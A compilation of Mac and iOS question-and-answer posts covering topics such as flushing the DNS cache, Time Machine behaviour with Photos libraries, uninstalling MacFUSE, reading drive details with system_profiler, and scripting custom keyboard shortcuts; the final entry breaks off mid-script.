BOOTCAMP | No choice to locate ISO This is my first time ever trying to use Boot Camp Assistant.  I've watched like 50 tutorials and every had a choice to pick/locate an ISO image. I don't (see 2nd image). Is there a solution to this?

If you have already made your boot stick try moving the .iso out of any folders into the main part of the drive. sometimes it can't find it. Also make sure you have a legitimate .iso that can also cause problems to if parts of the file are missing etc.


Using Digital Color Meter In the Window where it shows Digital Color Meter, what is the unit of measurement used in RGB?

I don't think there's a particular unit of measurement, just 256 "steps" between lowest and highest for each of red, green and blue.

Take a look at the Wikipedia page for Adobe RGB - it has some useful diagrams. In particular, the diagram showing "The CIE 1931 xy chromaticity diagram showing the primaries of the Adobe RGB (1998) color space" - the three points of the triangle (the "primaries") correspond to these points (moving anti-clockwise, from the right):

R = 255, G = 0, B = 0
R = 0, G = 255, B = 0
R = 0, G = 0, B = 255

The same system of 256 steps is used for other colour spaces like sRGB, even though they may well be a different size to Adobe RGB's colour space.


Profiles - maintaining programs on different profiles I'm currently reading a book, The Complete Privacy and Security Desk Reference; Vol. 1: Digital by Michael Bazzell and Justin Carroll.

They specify many different types of user accounts and insist that you create several for the different levels of security involved in utilizing each.

I'm planning to follow their instructions to make multiple user profiles on my MacBook Pro for security purposes.

My question is how would I go about keeping the programs downloaded to each user profile synched without leaving my chosen user profile?

Do I always have to sign on to each profile and independently download separate programs or is there a system-wide utility for downloading and running programs?

You can't have user profiles on macOS (at least not as such), but you can create different user accounts in System Preferences and use these for specific but different purposes (e.g. one account for gaming, one with all your personal documents, one for Internet access, one for your financial stuff, one account for system administration etc.). As long as you only give Administration privileges to the system administration account and apply tight control on data shared between the accounts this may work quite well.

As for applications, you usually install them in /Applications anyway which makes them available to all users. What probably would defeat the purpose of the whole endeavor though is to come up with an elaborate scheme to share user-specific configurations between accounts. So if you happen to use Numbers or Pages in several user accounts you will need to set preferences individually in each account.

Having said that, I doubt that macOS in its current form (with iCloud access more or less built-in in a lot of background stuff) really allows this kind of separation. The hassle of switching accounts all the time and of tightly controlling data exchange between them probably outweighs the gain in security (of course, keeping the Administrator separated from the everyday user account is always a good idea).


iPhone 3G w/o SIM messaging app I would like to use our jailbroke iPhone 3G with NO SIM. Is it possible to use the built in messaging app that Apple supplies on this iPhone wit no SIM?

Is this possible to do or do I need to use one of the other free text apps?  If it's possible could some one please post the instructions.

Why is it that our iPad is able to use the messaging app but I can't with the NO SIM 3G?

Edit:
I previously thought I had the iPhone 3GS. I recently edited because I found I have the iPhone 3G (not S)

Your iPhone 3G isn't eligible to upgrade to iOS 5+ which use iMessage, as a supplementary (or primary) means of messaging, and which does not require use of SMS (cellular transfer).

As a result, you will need to rely on a 3rd party app (that supports iOS 4) to do your messaging. A Google search revealed that there are still a number of texting apps that support iOS 4.3 (which your phone should support) such as:  https://itunes.apple.com/us/app/textplus-free-text-group-texting/id314487667?mt=8&ign-mpt=uo%3D4


Have to press down hard for keys on keyboard to work? My mid-2010 MBP is malfunctioning. For all the keys I have to press down quite hard to get a response. "slow keys" is off. I spilled some water around the keyboard a few days ago, that's about when this started. I started popping keys off and it was rather dirty under each key, I cleaned them with a cotton swap and rubbing alcohol. Has made an improvement, more responsive but still hard to press. Is there another method for cleaning them better. Or something else that could cause low responsiveness?

The link provided in the comment has good advice, but not everyone can take their Apple gear to a professional — this is especially true if you live in a country that does not have an Apple Store or do not live in a larger city.

So, if you can't get your laptop to a professional, then you'll have to take care of the keyboard yourself until you can.

Double-check your keyboard settings in the System Preferences, you
mention "slow keys" but there are two settings in there: "key repeat"
and "delay until repeat" which affect the timing of keystrokes to
response.
Hook up an external keyboard (any USB keyboard will work, though you
may loose some Apple-specific functionality if using an non-Apple
keyboard). Pressing extra hard could cause more damage and further exacerbate
the situation you already have.
Get a repair guide from a site like ifixit.com which will show you
how easy or difficult (it's usually on the difficult side) it is to
remove and replace the keyboard or at least get to it for a closer
look to find a hardware cause. This will help you to clean,
dehydrate, and reassemble you laptop as the linked comment suggests.

Depending on what was in the water and how much of it was spilled and how long before cleaning under the keys took place, you may have a corrosion problem where the residue left behind after the liquid evaporated is gunking things up.


How do I flush the DNS cache on a OS X 10.6 machine? Trying to flush the local DNS cache. How is this done on Snow Leopard?

Using System Preferences and using the terminal?

Use

sudo dscacheutil -flushcache

or

sudo killall -HUP mDNSResponder

In 10.6 the handling of Unicast DNS is now managed by mDNSResponder - dscacheutil -flushcache now just tells mDNSResponder to restart (the second command above).


Stuck on Connect to iTunes boot logo and can't connect to iTunes My phone was/is jailbroken, and now I tried to update it from 8.4 to 9.0.2 to try and remove the jailbreak without restoring my phone. Then iTunes said there was an error. It did not say any code. Now my phone is stuck on this screen no matter what I try.

iOS 9.0.2 is no longer being signed, so you are unable to restore to it.

You will need to restore to the latest version of iOS using DFU restore (connect to computer, hold power and home until the screen turns off and back on with the Apple logo, then let go of power but keep holding home).

Also, you should never use Update when a device is jailbroken regardless of iOS version.


On an iPad, can I "markup and reply" to two PDFS in the same email? If someone sends me an email containing a PDF attachment (or a JPG, or another image format...) I know that, on an iPad, I can markup the attachment and then send the marked-up document in a reply to the sender.  But what if the email contains two PDFs?  Is there a way to mark up the first, return to the original email, mark up the second, then send a reply containing both marked-up documents?

I do this all the time.

Save both to Files
Mark up with abandon
Reply and attach

This works in Outlook, native mail, and the fastmail iOS/iPadOS app.


How does Time Machine treat changes to the Photos Library? I've searched all over and can't find a sure answer to this question. If a new photo is added to my iCloud Photo Library, resulting in a change to the "Photos Library" package on my Mac found in ~/Pictures, does Time Machine simply back up the delta within the package or will it store another copy of the entire library?

SHORT ANSWER

Time Machine only backs up new or modified data, and keeps a record of any deleted data. This includes what's in your Photos Library. It does not do a fresh backup of the entire Photos Library each time you make changes to it.

LONG ANSWER

The way Time Machine works is that it backs up anything that has changed since the last backup. For example, a file that is:

Edited since the last backup is backed up again in the next backup
Created since the last backup is backed up in the next backup
Deleted since the last backup is not included in the next backup (i.e. there is no record of it in that backup, but the file itself is still stored for any older backups it was a part of)

Now, the confusion usually comes from the way Time Machine actually does a backup. I'll try and explain this below.

The initial backup TM does on a new backup drive is a full backup of
your Mac. So, if your Mac has used 80GB of a 1TB drive, then the
first backup will take up 80GB of space on the new backup drive.
All remaining incremental backups do not do a full backup. Instead TM backs up any new data (i.e. newly added data and any edited data) and keeps a record of any deleted data.
In the case of files such as Packages (including the Photos Library package), TM will identify any:

new data (e.g. new photos in the Masters folder within your Photos Library package) and back this up
modified data within your Photos Library package (e.g. edited photos) and back this up
deleted data within your Photos Library package (e.g. photos you've deleted) and keep a record of the change

When the backup drive runs out of space, TM will delete as many of the oldest backups it needs to in order to be able to do the next backup (and this is where users can lose data that was not part of more recent backups)
Regardless of whether it is the initial full backup or an incremental backup, TM will display this to the user as if they're all separate full backups. This is designed on the basis of User Experience (UX) design so that it's easier for users to browse and find data, and acts to reassure users that it's all there. According to Apple:

  ...what makes Time Machine different from other backup applications is
  that it not only keeps a spare copy of every file, it remembers how
  your system looked on any given day—so you can revisit your Mac as it
  appeared in the past.

Source: Mac Basics: Time Machine (web archive of Apple knowledge base doc)

Finally, as added reassurance that TM does not do a full backup of your Photos Library each time, I can share a personal example. My family Photos Library is 341GB in size and if this was fully backed up each time then the 2TB external drive that it's backed up to would be full after only 4 or 5 backups (allowing for other data), but that particular TM backup drive has backups going back to late 2015.


Does OSX Lion come with iPhoto? I need iPhoto, but I don't know if I deleted it or I just never had it to begin with.  I'm currently running OSX Lion.

Lion (or any other OS X operating system) doesn't come with iPhoto by default. However, iPhoto, iMovie, and Garageband are normally installed on new systems.

You'll have to install iPhoto if it's not on your system. Each new Mac does get some version of iLife, so you may be able to check from Apple the version of the OS that shipped with your hardware at http://apple.com/support/manuals and search to see what your options are.


Mac Hard Drive Storage Decreases even without downloading anything I have a 128 GB hard drive on my macbook pro retina 13". My mac storage hard drive keeps decreasing for no reason, even when I do not download anything. This still happens even when I don't use any other application and when I use Chrome in incognito (so nothing is being stored in cache).

Here is how the pattern looks like when I did not download anything at all, did not use any other application except for chrome and only used Chrome in incognito.
first day:

More days later:

As you can see from the images, I did not download anything, even if I did it was probably a Word document or a PDF file. And it still increased 10 GB on the Apps. Just wondering why this happens and how can I prevent it from happening?
If this is all a glitch, then how much GB do i actually have left for storage? Finally, why does the total number of GB used from apps, photos, movies, backups, and audio do not add up to the remaining GB left? Like in the last picture it says I have about 52 GB free and the total used up is around 110 GB. Since I have a 128 GB storage, shouldn't it be 10 GB left?

Also I have no anti virus running. I don't even have Dropbox and Google Drive. Also, I turned off photo sync from my iPhone. Once again, no apps are running except for Chrome, iMessage, and Skype.

Update: every time I restart my mac the disk space comes back and then it gradually increases again.

Could be anything. App updates, new apps, a virus that downloads stuff for you, automatically installed software, or a host of other things.

If you did have an application on your Mac like Dropbox or Google Drive, (either of which could automatically be downloading stuff onto your computer) it could be that, but you do not.

Here's what you should do: download an antivirus app (like BitDefender or Avast). Run a full system scan in whichever you download and make sure no viruses come up, as some malicious software could be doing this.

Then try downloading Grand Perspective, which shows you everything that's taking up space on your mac. Run it through your entire hard drive. See what comes up, and save your scan; then try scanning again when your available space decreases again.

Please report everything you find out in a comment below so I can further assist you!


iTunes doesn't open and give a blank message I've been having troubles with iTunes :
it was working yesterday morning, and after I restarted my computer it will no longer run, it just gives me an empty message box

and if I leave it for a moment an error appears:

The problem occurred when I was on a old version of OSX, so I updated to Sierra and to the newest version of iTunes as well, didn't change a thing.
What I have tried :

restart computer
Install Sierra with iTunes 12.5.4
Try to remove iTunes, I just have a message : iTunes can't be modified or deleted since Mac OS requires it
Try and download iTunes from the Apple website : the available one was 12.4.3, so when I try to install it tells me a newer version is already installed and stops.

Any ideas ?

Thanks in advance.

Exploratory troubleshooting: try holding the Option (or Alt) key down while you launch iTunes. Hold it until you see the following:

Now press "Create Library…" and see if you have any more success.

As a second option, try creating a new user on your system and see if iTunes works any different/better there.

These are steps to help you determine if the problem is the iTunes application or if it's something specific to your user account and its data.


What is the partition size needed for The Mavericks install disk? I will setup a USB key to install Mavericks.

I would like to know the needed size of the partition to install Mavericks.

The Mavericks install app is about 5.3GB and it is compressed. That should be how much space it will take up on a USB stick. Just drop the installer on the stick and double click on the installer to install.


Can't uninstall MacFuse in Mavericks I recently upgraded from snow leopard to mavericks and couldn't mount a truecrypt volume that was on an NTFS partition (which had always worked before). Following some advice on a forum, I installed osxfuse which didn't solve the problem but stopped the mac booting.

After rebooting in safe mode, it seems I had both MacFuse and osxFuse installed. I was able to uninstall osxfuse and now the mac boots ok, but since osxFuse is supposed to be a successor to MacFuse, I presume I should really be uninstalling MacFuse.

If try to uninstall MAcFuse from the system preferences it asks for the system password and appears to be removing it, but then afterwards still shows version 2.0.3 installed.

To be honest I've never heard of either of these two programs before yesterday. I have no idea whether MacFuse was already installed before the Mavericks upgrade or whether having both installed at the same time was the cause of the boot failure.

Am I right in assuming that if I want to mount a truecrypt volume on an NTFS partition from Mavericks, I need to have only OsxFuse and not MacFuse installed? If so can anyone help me with how to uninstall MacFuse?

I found uninstallation instructions for MacFUSE in this blog post. They worked for me with a little tweaking.

First, find the uninstall script that comes with MacFUSE. For the blog post author, it was /Library/Filesystems/fuse.fs, and for me, it was /Library/Filesystems/fusefs.fs/Support/uninstall-macfuse-core.sh.

If you try running the script, it will give the following error:

MacFUSE Uninstaller: Can not find the Archive.bom for MacFUSE Core package.

To fix this, you need to edit a case statement inside the script, so that it is able to match your version of OS X. Open the script with sudo nano uninstall-macfuse-core.sh. (I needed sudo to be able to save my changes to the file. And you can use vim instead of nano if you like.) Then search the code for uname to get to this section:

OS_RELEASE=`/usr/bin/uname -r`
case "$OS_RELEASE" in
  8*)
    log "Incorrect uninstall. Use the Tiger version please."
    exit 1
    ;;
  9*)
    PACKAGE_RECEIPT="$INSTALL_VOLUME/Library/Receipts/MacFUSE Core.pkg"
    OUTER_PACKAGE_RECEIPT="$INSTALL_VOLUME/Library/Receipts/MacFUSE.pkg"
    BOMFILE="$PACKAGE_RECEIPT/Contents/Archive.bom"
    ;;
  10*)
     PACKAGE_RECEIPT=""
     BOMFILE="$INSTALL_VOLUME/var/db/receipts/com.google.macfuse.core.bom"
     ;;
esac

The case that you want run is the one for 10*.

First, confirm that there is indeed a file at /var/db/receipts/com.google.macfuse.core.bom. The file was there for me, but for the blog post author it was in /Library/Receipts/boms/com.google.macfuse.core.bom instead – if this is the case, change the path in the script.

The reason the case currently isn’t running is because /usr/bin/uname -r doesn’t start with any of those numbers – it’s “13.4.0” for me. So change this line of the case statement:

  10*)

to this, which matches versions 10 through 19:

  1[0-9]*)

Save the file and exit your editor. Now run the uninstall script and it should work this time. It prints output along these lines:

MacFUSE Uninstaller: Sudoing...
MacFUSE Uninstaller: Removing file: '//./Library/Application Support/Developer/Shared/Xcode/Project Templates/MacFUSE'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Contents/Info.plist'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Contents/Resources/English.lproj/InfoPlist.strings'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Contents/version.plist'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/autoinstall-macfuse-core'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/fusefs.kext/Contents/Info.plist'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/fusefs.kext/Contents/MacOS/fusefs'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/load_fusefs'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/mount_fusefs'
MacFUSE Uninstaller: Removing file: '//./Library/Filesystems/fusefs.fs/Support/uninstall-macfuse-core.sh'
MacFUSE Uninstaller: Removing file: '//./Library/Frameworks/MacFUSE.framework/Headers'
MacFUSE Uninstaller: Removing file: '//./Library/Frameworks/MacFUSE.framework/MacFUSE'
MacFUSE Uninstaller: Removing file: '//./Library/Frameworks/MacFUSE.framework/Resources'
MacFUSE Uninstaller: Removing file: '//./Library/Frameworks/MacFUSE.framework/Versions/A/Headers/GMAppleDouble.h'
…
MacFUSE Uninstaller: Removing dir: '//./Library/Filesystems/fusefs.fs/Contents/Resources/English.lproj'
MacFUSE Uninstaller: Removing dir: '//./Library/Filesystems/fusefs.fs/Contents/Resources'
MacFUSE Uninstaller: Removing dir: '//./Library/Filesystems/fusefs.fs/Contents'
MacFUSE Uninstaller: Removing dir: '//./Library/Filesystems/fusefs.fs'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Filesystems'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Application Support/Developer/Shared/Xcode/Project Templates'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Application Support/Developer/Shared/Xcode'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Application Support/Developer/Shared'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Application Support/Developer'
MacFUSE Uninstaller: Ignoring dir: '//./Library/Application Support'
MacFUSE Uninstaller: Ignoring dir: '//./Library'
MacFUSE Uninstaller: Ignoring dir: '//.'

The last step is to remove the MacFUSE preference pane. Just launch System Preferences, right-click on the preference pane, and choose the menu item ‘Remove “MacFuse” Preference Pane’.


How to easily set artwork for movies on iphone I have imported a bunch of mp4's for my daughter on my iphone (my little pony episodes). They don't show any artwork on the iPhone. The mp4's do show artwork on Windows. Is there an easy way to use the artwork that I see in Windows on the iPhone? I've done the obvious but tedious step of taking a capture of the image in Windows Explorer, saving it, and using iTunes to set the image as artwork. It works, but way too slow. I've also tried to play an mp4 in itunes and use "Set as poster frame"; that did not work. Ideally iTunes would just use the same artwork I see in Windows, but failing that, is there a Windows tool that would batch export the artwork, then I could manually set the artwork for each file in iTunes (at least saving me the step of taking a screen capture).

Why are you taking a screen capture rather than setting the artwork using the original jpg/png files? There are many metadata editors and scripts that will set the artwork so iTunes sees it on a Mac; have you tried a metadata editor for Windows to determine if iTunes will read the changes as imbedded?


How can I find out a portable external hard disk's hardware details from within macOS? I have two external hard disks attached at the moment.

Is it possible to find out, for example, the model number and serial number of these devices via command line?

I have already checked Disk Utility and it does not provide this information:

There is the following command.

system_profiler SPStorageDataType

You will have to parse the output. For example, I have a external HDD with a single volume named RONSPASPORT. The output relevant to this drive is given below.

RON2PASPORT:

  Available: 29.27 GB (29,266,157,568 bytes)
  Capacity: 500.11 GB (500,105,216,000 bytes)
  Mount Point: /Volumes/RON2PASPORT
  File System: Journaled HFS+
  Writable: Yes
  Ignore Ownership: Yes
  BSD Name: disk2s1
  Volume UUID: BD65890D-BBAB-357A-B073-6B24625466F5
  Physical Drive:
      Device Name: 5000BEV External
      Media Name: WD 5000BEV External Media
      Protocol: USB
      Internal: No
      Partition Map Type: MBR (Master Boot Record)

From the output, one can see this is a WD 5000BEV.

Also there is the command below.

system_profiler SPUSBDataType

For the same external HDD, the following output is relevant.

        External HDD    :

          Product ID: 0x0705
          Vendor ID: 0x1058  (Western Digital Technologies, Inc.)
          Version: 1.75
          Serial Number: 57442D575836304139326384913837
          Speed: Up to 480 Mb/sec
          Manufacturer: Western Digital
          Location ID: 0xfd130000 / 6
          Current Available (mA): 500
          Current Required (mA): 2
          Extra Operating Current (mA): 0
          Media:
            5000BEV External:
              Capacity: 500.11 GB (500,107,862,016 bytes)
              Removable Media: No
              BSD Name: disk2
              Logical Unit: 0
              Partition Map Type: MBR (Master Boot Record)
              USB Interface: 0
              Volumes:
                RON2PASPORT:
                  Capacity: 500.11 GB (500,105,217,024 bytes)
                  Available: 29.27 GB (29,266,153,472 bytes)
                  Writable: Yes
                  File System: Journaled HFS+
                  BSD Name: disk2s1
                  Mount Point: /Volumes/RON2PASPORT
                  Content: Apple_HFS
                  Volume UUID: BD65890D-BBAB-357A-B073-6B24625466F5

This provides more information, including the serial number.

  Note: The system_profiler command has the option -detailLevel level where the level can be mini, basic or full.


Can I change my Podcast name without loosing my subscribers in iTunes? I have a Podcast. I herd that if I change the Title of it I might loose my subscribers.

Is there a way to change my Podcast Title without loosing my subscribers in iTunes?

Making a change to the title tag within your podcast's RSS feed will update the podcast title within iTunes, without losing subscribers. It may take a day or two for such a change take effect within iTunes.

Note: The main concern is that making a title change to a podcast where the feed is created for you automatically could potentially change the url for the feed which will stop the podcast from updating [...and an 'easy fix' for that could be resubmitting your podcast, which would lose your subscribers!].

So http://example.com/oldTitle.rss might become http://example.com/newTitle.rss.

If needed, it's possible to update the feed URL within iTunes, without resubmitting your podcast or losing subscribers, as described by Apple in the 'Changing Your RSS Podcast Feed URL' section of their podcast specs:

  You can move your podcast feed from one location to another. To avoid
  losing subscribers, you must announce the change directly to all users
  who are subscribed to your feed. To do so, you should:

  – Use the <itunes:new-feed-url> tag described in the iTunes RSS Tags
  section below.

  – Set your web server to return an HTTP 301 redirect
  response when receiving a request for the old feed.

  This will update
  the iTunes Store with the new feed URL and your subscribers will
  continue to receive new episodes automatically. Be sure to maintain
  the <itunes:new-feed-url> tag and the HTTP 301 redirect response for
  at least 4 weeks to ensure that most subscribers have attempted to
  download your most recent episode and have thereby received the new
  URL.


TFTP Server on 10.6.6 How do I enable an existing TFTPd within 10.6.6 ?

Do you need to run it with any special settings?  By default, it runs chrooted in /private/tftpboot; if you want anything different in the setup, edit /System/Library/LaunchDaemons/tftp.plist as appropriate.  Then, activate it with:

sudo launchctl load -w /System/Library/LaunchDaemons/tftp.plist


Is there a way to save your custom keyboard shortcuts in a config file? Is there a way to save my custom keyboard shortcuts in a config file?

The reason i want this is so i can put that config file in the cloud (using git, dropbox, ...) and link this file on each os x computer that i have so my shortcuts are always the save on each computer.

I use a shell script like this:

defaults write -g NSUserKeyEquivalents '{
"Show in Finder"="$@r";
"Reveal"="$@r";
"Use Selection for Find"="@e";
"Find and Replace..."="~@f";
"Find Next"="@g";
"Find Previous"="$@g";
"Line Spacing..."="~@l";
"Zoom Reset"="@0";
"Original Size"="@0";
"Actual Size"="@0";
"Automatically Resize"="@9";
"Automatic Fit"="@9";
"Zoom to Fit"="@9";
"Enter Full Screen"="^@f";
"Exit Full Screen"="^@f";
"Enter Full Screen Mode"="^@f";
"Exit Full Screen Mode"="^@f";
"Toggle Full Screen"="^@f";
"Full Screen"="^@f";
"Fullscreen"="^@f";
"Normal Screen"="^@f";
"Remove Full Screen"="^@f";
"Select Previous Tab"="~@\UF702";
"Previous Tab"="~@\UF702";
"Show Previous Tab"="~@\UF702";
"Previous Workspace"="~@\UF702";
"Select Previous Tab View"="~@\UF702";
"Select Next Tab"="~@\UF703";
"Next Tab"="~@\UF703";
"Show Next Tab"="~@\UF703";
"Next Workspace"="~@\UF703";
"Select Next Tab View"="~@\UF703";
"Shift Left"="^\UF702";
"Decrease Indent Level"="^\UF702";
"Decrease Paragraph Indent"="^\UF702";
"Decrease Level"="^\UF702";
"Shift Right"="^\UF703";
"Increase Indent Level"="^\UF703";
"Increase Paragraph Indent"="^\UF703";
"Increase Level"="^\UF703";
"Shift Up"="^\UF700";
"Move Line Up"="^\UF700";
"Shift Down"="^\UF701";
"Move Line Down"="^\UF701";
"Minimize"="\U200B";
"Minimize All"="\U200B";
}'

defaults write com.apple.finder NSUserKeyEquivalents '{
"Show Package Contents"="@\r";
}'

defaults write -app iTerm NSUserKeyEquivalents '{
"Select Pane Above"="@\UF700";
"Select Pane Below"="@\UF701";
"Previous Pane"="@\UF702";
"Next Pane"="@\UF703";
"Open Autocomplete..."="@;";
}'

defaults write -app Safari NSUserKeyEquivalents '{
"Reopen Last Closed Window"="~@r";
"Reopen All Windows from Last Session"="~$@r";
"Mail Contents of This Page"="\U200B";
}'

defaults write -app Sequential NSUserKeyEquivalents '{
"Move to Trash"="\b";
}'

defaults write -app Skim NSUserKeyEquivalents '{
"Single Page Continuous"="$@0";
"Single Page"="$@1";
"Two Pages"="$@2";
"Crop"="@k";
}'

defaults write -app Transmit NSUserKeyEquivalents '{
"Show Invisible Files"="$@.";
"Hide Invisible Files"="$@.";
"Synchronize..."="$@y";
}'

defaults write -app WriteRoom NSUserKeyEquivalents '{
"Column 40"="$@1";
"Column 50"="$@2";
"Column 60"="$@3";
"Column 66"="$@4";
"Column 80"="$@5";
"Column 90"="$@6";
"Column 120"="$@7";
"Column 200"="$@8";
"Column Window Width"="$@0";
"Enter Full Screen Single"="^@f";
"Exit Full Screen Single"="^@f";
"Enter Full Screen"="$@f";
"Exit Full Screen"="$@f";
}'

The shortcut strings use the same format as in DefaultKeyBinding.dict, but delete is \U0008 (\b) and forward delete is \U007F.

You can disable a shortcut by assigning the menu item to something like \U200B (ZERO-WIDTH SPACE). nil would be triggered when you type n in some applications like Audacity. \0 would be triggered when you press any key in Safari in 10.9. \1 would be triggered when you press the home key.

defaults -app doesn't work with some applications like Finder or Notes.

defaults find NSUserKeyEquivalents shows current settings.


Is there a replacement for the Leopard software accentuer on Lion? Back on leopard there was a extremely useful application called "accentuer"
which would through a service add all french accents to a given text. I was doing an almost perfect job at it too.

Would anyone know what happened to this application, if it has been ported to OS X Lion or better an alternative?

My queries on google does not return anything suitable for this use.

I have finally found this application; it is now called reacc:
http://rali.iro.umontreal.ca/rali/?q=node/1229

This application is brilliant for people like me who write french with
a US keyboard: its almost magic.

Unfortunately it is still not ported to Lion. Pity!


Is it safe to super glue a broken fan connector back to the logic board? While I was replacing my mid-2010 Macbook's HDD with an SSD, I accidentally dropped a screw and it got stuck somewhere behind the logic board. I removed the fan so I can retrieve the screw through there. I successfully removed the screw, but during the process I ripped the female fan connector from the logic board, leaving only the pads.

Thankfully, the connection still works if I hold the connector there, but once I release it the fan stops working.

I don't have a soldering iron and I'm currently in a rural area so I can't go to the store to buy one if I order it online it arrives in at least a week and I can't wait that long.

Can I just super glue it back on? Or would epoxy be better?

Epoxy and\or super glue may be very effective at gluing the connector to the PCB, but there’s no way to ensure you get a proper connection with the pads on the PCB.  It will be a one shot deal - if you don’t get it right the first time, you’ll be out of luck on subsequent tries.

I need to be clear here...  I understand that you need this laptop now so time is critical.   This avenue of repair is highly likely to fail (though you could get lucky) and will end up costing you much, much more down time than if you took the time to get the right tool for the job.

How might it fail?  You could mis-align the connectors or you could get glue/epoxy between the connector and pad insulating it.  You’ll cause more damage trying to remove the connector to retry the repair

You might want to look up TV repair shops in your area as this repair would be something they could do as it’s a very simple job.


Incorrect free disk space on SSD after cloning Yosemite partition because of corrupt ".Trashes" folder I replaced the Superdrive of my iMac with an SSD.
Next, I trimmed down the partition of my existing HDD (2TB) as much as possible using Disk utility. This resulted in a 140GB partition.
Then I used Disk Utility to clone the reduced partition over to the 250GB SSD.
If I check with DU, it tells me the amount of data is around 140GB and Finder shows me the same.

However all directory structure scanners like GrandPerspective, DiskInventory, etc. show me a usage of 46GB.

GrandPerspective gives me the information that 93GB "miscellaneous used space" is occupied (the huge gray part in the image).

My Yosemite installation is all fresh, so the 46GB is the correct amount. What about the missing 100GB? How can I get these back?

Note that there are no hidden Time Machine backups. I have already checked that.

Ha, found it! It was a corrupted ".Trashes" folder in the root of the SSD. It occupied me than 100GB of data (see screenshot).

I managed to make these files visible by running GrandPerspective from the command line:

sudo GrandPerspective.app/Contents/MacOS/GrandPerspective

That will show the files but still it is not possible to delete them.
Even

sudo rm -rf /.Trashes/*

did not work. It just returned immediately without any output.
The solution was to have Terminal run as root and then delete, so start Terminal and run:

sudo /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal

Then, in the "root" Terminal window:

rm -rf /.Trashes/*

Running GrandPerspective again afterwards shows only 16MB of miscellaneous space.


I would like to delete some photos from my phone camera roll, that i have imported to my Mac, will they stay on my Mac? I recently imported all my photos from my iPhone to my Mac. Now they are on both devices. I would like to delete some of them from my phone camera roll, but i want them to stay on my Mac. Will the photos/videos delete from both devices

Yes, in short, you are safe.

Depending on what software you are using, the only thing that could potentially happen is you delete your photo albums that you have synced to your iPhone, which is a manual process or you are syncing photos to your iPhone from your mac. However, since you stated you imported them, I don't foresee any issues.

NOTE if you are referencing iCloud, then also, you have nothing to worry about. iCloud stores all the files in your iCloud but if you delete them from different devices it only deletes it from that device, unless you haven't had time to sync it to your Mac, but again, strictly importing, meaning you dragging and dropping or clicking the import to iPhoto/Aperture etc button, than you are good to go.


How to enable AirPrint on iPod Touch after iOS 4.2 Upgrade? I have an iPod Touch (Model MC086FD) and upgraded to iOS 4.2.1 - all works fine. But I do not find the AirPrint Software on the iPod. Can I install it? How do I make my iPod print (emails etc.) when connected by WLAN?

I have a MacBook Pro with 10.6.6 Syncing with the iPod using iTunes 10.2.1. The printer is a Samsung CLX-3175FN connected by network.

I have no Print button in the share menu. Also I tried AirPrint Activator to enable for my network printer. Nothing helped.

My iPod touch is an 3. generation 8GB model (Model MC086FD).  As I found, Multitasking is needed to use AirPrint! But multitasking is not available for this model - even iOS 4.2 installed!


Two WQHD external monitors Is it possible to run two external monitors with WQHD resolution (2560 x 1440) with a Mac mini or with a MacBook Pro via DisplayPort?

According to Apple website the Mac mini is capable of handling two external monitors with a resolution of 2560 x 1600 px. But I ask myself whether this resolution is the total maximum resolution or the maximum resolution for each of the two monitors. I'm running two Dell U2715H (supporting DisplayPort chaining).

From Apple.com's Q&A section:

  The Mac Mini has two video outputs: a mini DisplayPort and a mini DVI port. The mini DisplayPort is the same one you find on the current generation MacBook, MacBook Pros (as well as the Mac Pro) and the mini DVI is the same as the on the old black/white macbook.

and:

  For 1920 x 1080 connect mini display port to DVI or HDMI.
  For 2560 x 1440 connect mini display port to DisplayPort.

All you need are the adapters to connect the monitors, the Mac Mini will be able to handle both displays.


What's easiest way to share/collate fullres photos with family in 2019? My wife and I both take pictures on our iPhones. We have our own iCloud accounts. Sometimes we want to make albums of pictures selected from both our accounts. What is the easiest way to share high resolution pictures from both of us?

Apple's photo sharing seems to have some significant downsides:

Shared photos are not full resolution (i.e., when we try to print them out, they're blurry)
Pictures must be manually added by each person (and I'm lazy and don't always add mine)

Some possibilities I've thought about:

I don't know of a way to do it on a Mac, since the Photos app, as far as I can tell, can only access one iCloud account per Mac account. Tying to a Mac account means I need to log out of one account (which is a major hassle since everything we do is on one Mac account) in order to view the pictures from the other.
From one Mac account I could load the other library in a icloud.com browser window. This at least I can have them available concurrently, but they're not collated.
I'm sure most people, including us, have multiple devices and that enables viewing photos concurrently. But when, for example, preparing a photo album, you now need a way to transfer the original photos from one device to the one where the album is being prepared.
I don't know/think I want both of us to use the same iCloud account... because that ties everything we do together, e.g., we'd receive each other's text messages etc?
I could create a 2nd Mac account, have it download all the photos from the 2nd iCloud account. Then export them to a shared directory on the Mac, import them into the primary account. This would mean that the photos are either duplicated or removed from the original iCloud account, neither of which are desirable, besides being a bit time consuming as well as potentially deleting photo origination information.

This seems like a very desirable feature for families that a lot of people can't figure out. I realize that Best way to share all photos with partner asks more or less the same thing, but things may have changed in the meantime.

This is an answer, but not the answer either of us want: no, it's not possible to do what you're looking for.
My wife and I have our own Apple IDs. We want to be able to automatically see all of each other's photos since 99% of our photos are of the same events and the same subjects (our children). We don't want to have to manually move/share photos, which means that Family Sharing Album is no good (and it also has a max photos limit).
The only way we've been able to solve this problem so far is to not use iCloud Photos at all. Instead, we have a shared Google Photos account and we both have that set to automatically upload all our photos there.
If I want to look at photos I just use the Google Photos app, and I'll see all the photos both of us took at the same event. It's a shame I can't stick to iCloud photos for this, but c'est la vie!


Where does macports install programs I have installed both moria and ettercap using MacPorts (via pallet) and I can't find out where the things were installed to run them!
Where is the install directory?
EDIT: When I install things JUST using macports i.e. from the command line it works.
Pallet doesn't actually seem to install things :S

If you use contents, it will tell you where they are.


AppleScript Editor : comment line shortcut? Is there a keyboard shortcut to comment lines in AppleScript Editor ?

The common Cmd+shift+/ does not work here.

I have used FastScripts to assign a shortcut to this script:

set text item delimiters to linefeed
